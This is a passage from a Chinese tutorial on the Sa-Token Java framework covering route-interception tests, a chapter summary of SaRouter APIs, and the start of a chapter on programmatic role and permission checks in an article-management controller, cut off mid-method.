验证路由拦截效果</h2><p>重启项目后，通过四个场景验证路由规则是否生效。</p><p><strong>场景一：未登录访问需要登录的接口（验证规则一）</strong></p><p>不携带任何 Token，直接访问：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET http://localhost:8081/auth/info</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">401</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;未提供 Token，请先登录&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>在第二章中，<code>/auth/info</code> 上加了 <code>StpUtil.checkLogin()</code> 但未加路由规则，行为已由拦截器规则一统一接管——任何未加 <code>notMatch</code> 白名单的接口，未登录一律返回 401。</p><p><strong>场景二：未登录访问白名单接口（验证 notMatch）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">POST http://localhost:8081/auth/login?username=admin&amp;password=123456</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;登录成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1db92b69-74ce-4c5f-a838-13c0f414d047&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><code>/auth/login</code> 被 <code>notMatch</code> 排除在规则一之外，未登录也能正常访问，不会被拦截。</p><p><strong>场景三：user 账号访问 /admin 接口（验证规则二）</strong></p><p>以 <code>user</code> 身份登录获取 Token-U，然后：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">DELETE http://localhost:8081/admin/users/10001/sessions</span><br><span class="line">Header: satoken: &lt;Token-U&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">403</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;权限不足，缺少角色：admin&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><code>user</code> 账号已登录（通过规则一），但没有 <code>admin</code> 角色（未通过规则二），被拦截在 Controller 方法之前。</p><p><strong>场景四：admin 账号访问 /admin 接口（验证两条规则均通过）</strong></p><p>以 <code>admin</code> 身份登录获取 Token-A，然后：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">DELETE http://localhost:8081/admin/users/10002/sessions</span><br><span class="line">Header: satoken: &lt;Token-A&gt;</span><br></pre></td></tr></table></figure><p>预期响应：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;已将账号 10002 的所有设备踢下线&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><code>admin</code> 账号通过规则一（已登录）和规则二（拥有 admin 角色），顺利到达 Controller 方法执行业务逻辑。</p><hr><h2 id="3-8-本章总结">3.8. 本章总结</h2><p><strong>本章回顾</strong></p><p>本章将 <code>SaInterceptor</code> 从无参版本升级为有参版本，在 Lambda 中配置了全局登录校验和管理模块角色校验两条核心路由规则，并说明了 <code>excludePathPatterns(&quot;/error&quot;)</code> 必须放在 Spring MVC 层而非 Lambda 内部的原因。在 <code>SaRouter</code> API 层面，系统覆盖了 path 路由匹配、HTTP 方法匹配、boolean 条件匹配、lambda 表达式匹配以及多条件无限连缀五种匹配特征。流程控制三件套方面，<code>stop()</code> 用于提前退出并进入 Controller，<code>back()</code> 用于提前退出并直接返回前端，<code>free()</code> 用于创建不影响外部规则的独立匹配作用域。高级配置方面，<code>isAnnotation(false)</code> 可关闭注解校验只做路由拦截，<code>setBeforeAuth()</code> 可注册在注解鉴权之前执行的前置函数。最后通过执行顺序说明和职责分工对比，确立了&quot;路由拦截负责底线兜底，注解鉴权负责细粒度声明&quot;的最佳实践。</p><p><strong>核心汇总表</strong></p><table><thead><tr><th><code>SaRouter</code> 方法</th><th>作用</th><th>示例</th></tr></thead><tbody><tr><td><code>match(String... paths)</code></td><td>指定拦截路径，支持 <code>**</code> 通配符</td><td><code>match(&quot;/admin/**&quot;)</code></td></tr><tr><td><code>match(SaHttpMethod)</code></td><td>按 HTTP 方法匹配</td><td><code>match(SaHttpMethod.DELETE)</code></td></tr><tr><td><code>match(boolean)</code></td><td>按 boolean 条件匹配</td><td><code>match(StpUtil.isLogin())</code></td></tr><tr><td><code>match(lambda)</code></td><td>按 lambda 返回值匹配</td><td><code>match(r -&gt; StpUtil.isLogin())</code></td></tr><tr><td><code>notMatch(String... paths)</code></td><td>排除白名单路径</td><td><code>notMatch(&quot;/auth/login&quot;, &quot;/public/**&quot;)</code></td></tr><tr><td><code>check(lambda)</code></td><td>指定校验逻辑</td><td><code>check(r -&gt; StpUtil.checkRole(&quot;admin&quot;))</code></td></tr><tr><td><code>stop()</code></td><td>停止匹配，进入 Controller</td><td>链式调用在 <code>check()</code> 之后</td></tr><tr><td><code>back(value)</code></td><td>停止匹配，直接返回前端</td><td><code>back(&quot;暂不对外开放&quot;)</code></td></tr><tr><td><code>free(lambda)</code></td><td>打开独立作用域，内部 stop 不影响外部</td><td><code>free(r -&gt; &#123; ... &#125;)</code></td></tr></tbody></table><table><thead><tr><th>高级配置</th><th>作用</th><th>默认值</th></tr></thead><tbody><tr><td><code>isAnnotation(false)</code></td><td>关闭注解校验，只做路由拦截</td><td>默认开启注解校验</td></tr><tr><td><code>setBeforeAuth(lambda)</code></td><td>注册在注解鉴权之前执行的前置函数</td><td>无</td></tr></tbody></table><table><thead><tr><th>执行顺序</th><th>阶段</th><th>说明</th></tr></thead><tbody><tr><td>第一</td><td><code>beforeAuth</code> 前置函数</td><td>早于注解鉴权，适合预处理</td></tr><tr><td>第二</td><td>注解鉴权</td><td>扫描 Controller 方法上的鉴权注解</td></tr><tr><td>第三</td><td><code>auth</code> 路由规则</td><td>Lambda 中配置的 SaRouter 规则</td></tr><tr><td>第四</td><td>Controller 方法</td><td>业务逻辑，含编程式鉴权（第四章）</td></tr></tbody></table><h1>第四章. 编程式鉴权——动态的业务内判断</h1><p><strong>阶段式学习路径</strong></p><p>路由拦截和注解鉴权解决的都是&quot;能不能进这扇门&quot;的问题——请求要么通过，要么被拒绝在 Controller 方法之外。但真实业务中，权限判断往往发生在门里面。</p><p>管理员可以编辑任何文章，普通用户只能编辑自己写的；财务可以查看所有订单金额，普通用户只能看自己的。这类判断无法用注解表达，因为注解只能声明&quot;需要什么权限&quot;，无法表达&quot;如果有这个权限就走 A 分支，没有就走 B 分支&quot;。编程式鉴权就是为这种场景设计的——在业务代码中直接调用 Sa-Token 的 API，根据返回值动态决定执行路径。</p><hr><h2 id="4-1-has-系列与-check-系列：两组-API-的选择依据">4.1. has 系列与 check 系列：两组 API 的选择依据</h2><p>Sa-Token 提供了两组编程式鉴权 API，外形相似但行为截然不同。</p><p><code>has</code> 系列返回 <code>boolean</code>，校验失败时不抛任何异常，适合需要条件分支的场景：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 角色判断</span></span><br><span class="line">StpUtil.hasRole(<span class="string">&quot;admin&quot;</span>);                              <span class="comment">// 是否拥有 admin 角色</span></span><br><span class="line">StpUtil.hasRoleAnd(<span class="string">&quot;admin&quot;</span>, <span class="string">&quot;editor&quot;</span>);                 <span class="comment">// 是否同时拥有 admin 和 editor 角色</span></span><br><span class="line">StpUtil.hasRoleOr(<span class="string">&quot;admin&quot;</span>, <span class="string">&quot;editor&quot;</span>);                  <span class="comment">// 是否拥有 admin 或 editor 任一角色</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 权限码判断</span></span><br><span class="line">StpUtil.hasPermission(<span class="string">&quot;user:add&quot;</span>);                     <span class="comment">// 是否拥有 user:add 权限</span></span><br><span class="line">StpUtil.hasPermissionAnd(<span class="string">&quot;user:add&quot;</span>, <span class="string">&quot;user:delete&quot;</span>);   <span class="comment">// 是否同时拥有两个权限</span></span><br><span class="line">StpUtil.hasPermissionOr(<span class="string">&quot;user:add&quot;</span>, <span class="string">&quot;user:delete&quot;</span>);    <span class="comment">// 是否拥有任一权限</span></span><br></pre></td></tr></table></figure><p><code>check</code> 系列没有返回值，校验失败时直接抛出 <code>NotRoleException</code> 或 <code>NotPermissionException</code>，由全局异常处理器统一拦截，适合&quot;不满足条件就直接中断&quot;的场景：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 角色校验</span></span><br><span class="line">StpUtil.checkRole(<span class="string">&quot;admin&quot;</span>);                            <span class="comment">// 必须拥有 admin 角色，否则抛异常</span></span><br><span class="line">StpUtil.checkRoleAnd(<span class="string">&quot;admin&quot;</span>, <span class="string">&quot;editor&quot;</span>);               <span class="comment">// 必须同时拥有两个角色</span></span><br><span class="line">StpUtil.checkRoleOr(<span class="string">&quot;admin&quot;</span>, <span class="string">&quot;editor&quot;</span>);                <span class="comment">// 拥有任一角色即可</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 权限码校验</span></span><br><span class="line">StpUtil.checkPermission(<span class="string">&quot;user:add&quot;</span>);                   <span class="comment">// 必须拥有 user:add 权限，否则抛异常</span></span><br><span class="line">StpUtil.checkPermissionAnd(<span class="string">&quot;user:add&quot;</span>, <span class="string">&quot;user:delete&quot;</span>); <span class="comment">// 必须同时拥有两个权限</span></span><br><span class="line">StpUtil.checkPermissionOr(<span class="string">&quot;user:add&quot;</span>, <span class="string">&quot;user:delete&quot;</span>);  <span class="comment">// 拥有任一权限即可</span></span><br></pre></td></tr></table></figure><p>选择哪组 API 的判断逻辑很简单：</p><ul><li>需要根据权限结果走不同分支（if-else）→ 用 <code>has</code> 系列，拿 boolean 做判断</li><li>权限不满足时直接返回错误，不需要任何后续逻辑 → 用 <code>check</code> 系列，让异常处理器兜底</li></ul><hr><h2 id="4-2-获取当前用户的权限与角色数据">4.2. 获取当前用户的权限与角色数据</h2><p>除了判断和校验，有时候需要直接拿到当前用户的完整权限列表，比如在&quot;个人中心&quot;展示用户拥有哪些角色，或者在前端做菜单权限控制时返回权限码列表：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 获取当前登录用户的权限码列表（调用 StpInterfaceImpl.getPermissionList）</span></span><br><span class="line">List&lt;String&gt; permissions = StpUtil.getPermissionList();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取当前登录用户的角色列表（调用 StpInterfaceImpl.getRoleList）</span></span><br><span class="line">List&lt;String&gt; roles = StpUtil.getRoleList();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 管理视角：获取指定用户的权限码列表</span></span><br><span class="line">List&lt;String&gt; permissions = StpUtil.getPermissionList(<span class="number">10001L</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 管理视角：获取指定用户的角色列表</span></span><br><span class="line">List&lt;String&gt; roles = StpUtil.getRoleList(<span class="number">10001L</span>);</span><br></pre></td></tr></table></figure><p>这四个方法的返回值就是 <code>StpInterfaceImpl</code> 中两个方法的返回值。Sa-Token 在这里充当代理——你调用 <code>StpUtil.getPermissionList()</code>，框架内部调用 <code>StpInterfaceImpl.getPermissionList(loginId, loginType)</code>，然后把结果透传给你。</p><p>我们先在 <code>PermissionController</code> 中追加一个接口来暴露这些数据，后续测试时也可以用它来确认权限数据是否正确加载：</p><p>📄 <code>src/main/java/com/example/authsatoken/controller/PermissionController.java</code>（修改，追加方法）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 查询当前登录用户的权限和角色列表</span></span><br><span class="line"><span class="comment"> * 前端可用此接口实现动态菜单权限控制</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/myAuth&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">myAuth</span><span class="params">()</span> &#123;</span><br><span class="line">    StpUtil.checkLogin();</span><br><span class="line">    <span class="keyword">return</span> SaResult.data(Map.of(</span><br><span class="line">            <span class="string">&quot;roles&quot;</span>,       StpUtil.getRoleList(),</span><br><span class="line">            <span class="string">&quot;permissions&quot;</span>, StpUtil.getPermissionList()</span><br><span class="line">    ));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="4-3-补充-editor-账号">4.3. 补充 editor 账号</h2><p>本章的实战场景需要三种角色——admin、editor、user——来覆盖不同权限分支的测试路径。当前 <code>StpInterfaceImpl</code> 和 <code>LoginController</code> 都没有 editor 账号，先补进去。</p><p>📄 <code>src/main/java/com/example/authsatoken/auth/StpInterfaceImpl.java</code>（修改，更新两个 Map）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, List&lt;String&gt;&gt; ROLE_PERMISSION_MAP = Map.of(</span><br><span class="line">        <span class="string">&quot;admin&quot;</span>,  List.of(<span class="string">&quot;user:add&quot;</span>, <span class="string">&quot;user:delete&quot;</span>, <span class="string">&quot;user:update&quot;</span>, <span class="string">&quot;user:view&quot;</span>),</span><br><span class="line">        <span class="string">&quot;editor&quot;</span>, List.of(<span class="string">&quot;article:add&quot;</span>, <span class="string">&quot;article:update&quot;</span>, <span class="string">&quot;article:view&quot;</span>, <span class="string">&quot;article:publish&quot;</span>),</span><br><span class="line">        <span class="string">&quot;user&quot;</span>,   List.of(<span class="string">&quot;user:view&quot;</span>, <span class="string">&quot;article:view&quot;</span>)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, List&lt;String&gt;&gt; USER_ROLE_MAP = Map.of(</span><br><span class="line">        <span class="string">&quot;10001&quot;</span>, List.of(<span class="string">&quot;admin&quot;</span>),</span><br><span class="line">        <span class="string">&quot;10002&quot;</span>, List.of(<span class="string">&quot;user&quot;</span>),</span><br><span class="line">        <span class="string">&quot;10003&quot;</span>, List.of(<span class="string">&quot;editor&quot;</span>)   <span class="comment">// 新增 editor 账号映射</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>📄 <code>src/main/java/com/example/authsatoken/controller/LoginController.java</code>（修改，更新 USER_DB）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, <span class="type">long</span>[]&gt; USER_DB = Map.of(</span><br><span class="line">        <span class="string">&quot;admin&quot;</span>,  <span class="keyword">new</span> <span class="title class_">long</span>[]&#123;<span class="number">123456L</span>, <span class="number">10001L</span>&#125;,</span><br><span class="line">        <span class="string">&quot;user&quot;</span>,   <span class="keyword">new</span> <span class="title class_">long</span>[]&#123;<span class="number">123456L</span>, <span class="number">10002L</span>&#125;,</span><br><span class="line">        <span class="string">&quot;editor&quot;</span>, <span class="keyword">new</span> <span class="title class_">long</span>[]&#123;<span class="number">123456L</span>, <span class="number">10003L</span>&#125;   <span class="comment">// 新增 editor 账号</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>同时，<code>SaTokenConfig</code> 中规则一的白名单记得更新——<code>/auth/login</code> 已经在里面了，不需要额外改动。</p><hr><h2 id="4-4-实战：文章管理系统的动态权限判断">4.4. 实战：文章管理系统的动态权限判断</h2><p>用一个完整的业务场景来体验编程式鉴权的价值。我们要实现一个文章管理系统，权限规则如下：</p><ol><li>所有登录用户都可以创建文章（默认草稿状态）</li><li>只有作者本人可以提交自己的文章审核，且只能提交草稿状态的文章</li><li>只有 <code>editor</code> 或 <code>admin</code> 角色可以审核文章</li><li><code>editor</code> 只能发布已审核通过的文章，<code>admin</code> 可以强制发布任何状态的文章</li><li>作者可以撤回自己处于草稿或待审核状态的文章，<code>admin</code> 可以撤回任何文章</li><li>已发布的文章所有登录用户可以查看，未发布的文章只有作者本人、<code>editor</code>、<code>admin</code> 可以查看</li></ol><p>这六条规则涉及<strong>角色判断、数据归属判断、状态判断</strong>三种维度的组合，任何一条都无法用单一注解表达。</p><p>首先在 <code>com.example.authsatoken</code> 包下新建 <code>model</code> 子包，创建文章状态枚举和文章模型：</p><p>📄 <code>src/main/java/com/example/authsatoken/model/ArticleStatus.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.model;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 文章状态枚举</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">ArticleStatus</span> &#123;</span><br><span class="line">    DRAFT,      <span class="comment">// 草稿</span></span><br><span class="line">    PENDING,    <span class="comment">// 待审核</span></span><br><span class="line">    APPROVED,   <span class="comment">// 已审核通过</span></span><br><span class="line">    REJECTED,   <span class="comment">// 已审核拒绝</span></span><br><span class="line">    PUBLISHED   <span class="comment">// 已发布</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>📄 <code>src/main/java/com/example/authsatoken/model/Article.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.model;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 文章模型（简化版，聚焦权限逻辑）</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Article</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line">    <span class="keyword">private</span> String title;</span><br><span class="line">    <span class="keyword">private</span> Long authorId;        <span class="comment">// 作者的 userId</span></span><br><span class="line">    <span class="keyword">private</span> ArticleStatus status; <span class="comment">// 当前文章状态</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Article</span><span class="params">(Long id, String title, Long authorId, ArticleStatus status)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.id = id;</span><br><span class="line">        <span class="built_in">this</span>.title = title;</span><br><span class="line">        <span class="built_in">this</span>.authorId = authorId;</span><br><span class="line">        <span class="built_in">this</span>.status = status;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getId</span><span class="params">()</span>                    &#123; <span class="keyword">return</span> id; &#125;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getTitle</span><span class="params">()</span>               &#123; <span class="keyword">return</span> title; &#125;</span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">getAuthorId</span><span class="params">()</span>              &#123; <span class="keyword">return</span> authorId; &#125;</span><br><span class="line">    <span class="keyword">public</span> ArticleStatus <span class="title function_">getStatus</span><span class="params">()</span>       &#123; <span class="keyword">return</span> status; &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setStatus</span><span class="params">(ArticleStatus s)</span> &#123; <span class="built_in">this</span>.status = s; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后创建文章管理控制器。我们分三个部分拆解，每个方法都标注清楚权限判断的维度和用 <code>has</code> 系列而非注解的原因：</p><p>📄 <code>src/main/java/com/example/authsatoken/controller/ArticleController.java</code>（新建）</p><p><strong>第一部分：创建与提交</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.stp.StpUtil;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.util.SaResult;</span><br><span class="line"><span class="keyword">import</span> com.example.authsatoken.model.Article;</span><br><span class="line"><span class="keyword">import</span> com.example.authsatoken.model.ArticleStatus;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ConcurrentHashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.atomic.AtomicLong;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 文章管理控制器</span></span><br><span class="line"><span class="comment"> * 演示编程式鉴权在多角色、多状态、数据归属三维度组合场景下的应用</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 所有接口均依赖路由拦截的全局登录校验，无需在每个方法上重复加 <span class="doctag">@SaCheckLogin</span></span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 权限角色对照（来自 StpInterfaceImpl）：</span></span><br><span class="line"><span class="comment"> *   admin  → userId=10001 → user:add / user:delete / user:update / user:view</span></span><br><span class="line"><span class="comment"> *   user   → userId=10002 → user:view / article:view</span></span><br><span class="line"><span class="comment"> *   editor → userId=10003 → article:add / article:update / article:view / article:publish</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/articles&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ArticleController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 模拟数据库：实际项目中替换为 Repository 层</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;Long, Article&gt; articleDb = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicLong</span> <span class="variable">idGenerator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicLong</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 创建文章</span></span><br><span class="line"><span class="comment">     * 权限规则：所有登录用户都可以创建，路由拦截已保证登录校验，此处无需额外判断</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping</span></span><br><span class="line">    <span class="keyword">public</span> SaResult <span class="title function_">createArticle</span><span class="params">(<span class="meta">@RequestParam</span> String title)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">currentUserId</span> <span class="operator">=</span> StpUtil.getLoginIdAsLong();</span><br><span class="line">        <span class="type">Article</span> <span class="variable">article</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Article</span>(</span><br><span class="line">                idGenerator.getAndIncrement(),</span><br><span class="line">                title,</span><br><span class="line">                currentUserId,</span><br><span class="line">                ArticleStatus.DRAFT</span><br><span class="line">        );</span><br><span class="line">        articleDb.put(article.getId(), article);</span><br><span class="line">        <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;文章创建成功&quot;</span>).setData(article.getId());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 提交文章审核</span></span><br><span class="line"><span class="comment">     * 权限规则：只有作者本人可以提交，且文章必须处于草稿状态</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * 用编程式鉴权而非注解的原因：</span></span><br><span class="line"><span class="comment">     * 需要同时判断&quot;数据归属&quot;（是不是自己的文章）和&quot;文章状态&quot;（是不是草稿）</span></span><br><span class="line"><span class="comment">     * 这两个维度都是运行时数据，注解无法表达</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/&#123;id&#125;/submit&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> 